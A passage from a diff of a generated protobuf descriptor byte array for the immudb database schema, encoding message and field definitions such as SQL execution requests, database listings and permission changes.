0x6e, 0x74, 0x72, 0x79, + 0x2e, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, + 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x09, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, + 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, + 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, + 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, + 0x49, 0x64, 0x12, 0x51, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, + 0x18, 0x0b, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, + 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, + 0x6e, 0x42, 0x79, 0x49, 0x64, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, + 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, + 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, + 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, + 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, + 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, + 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, + 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, + 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, + 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, + 0x10, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, + 0x79, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, + 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, + 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x4a, 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, + 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, + 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, + 0x74, 0x69, 0x76, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, + 0x22, 0x4d, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, + 0x17, 0x0a, 0x15, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x56, 0x32, 0x12, 0x41, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, + 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x87, 0x01, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, + 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, + 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, + 0x9e, 0x01, 0x0a, 0x05, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, + 0x65, 0x6e, 0x74, 0x12, 0x3e, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, + 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x2e, 0x4d, 0x65, 0x74, 0x61, + 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, + 0x61, 0x74, 0x61, 0x1a, 0x3b, 0x0a, 0x0d, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x22, 0x4e, 0x0a, 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, + 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, + 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, + 0x22, 0x6d, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, + 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, + 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, + 0x7c, 0x0a, 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, + 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, + 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, + 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, + 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, - 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x9e, 0x01, 0x0a, - 0x05, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, - 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, - 0x12, 0x3e, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, - 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, - 0x1a, 0x3b, 0x0a, 0x0d, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x4e, 0x0a, - 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, - 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, - 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, - 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, - 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, 0x0a, 0x0f, - 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, - 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, - 0x72, 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, - 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, - 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, - 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, - 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, - 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, - 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, - 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, - 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, - 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, - 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, - 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, - 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, - 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, - 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, - 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, - 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, - 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, - 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, - 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 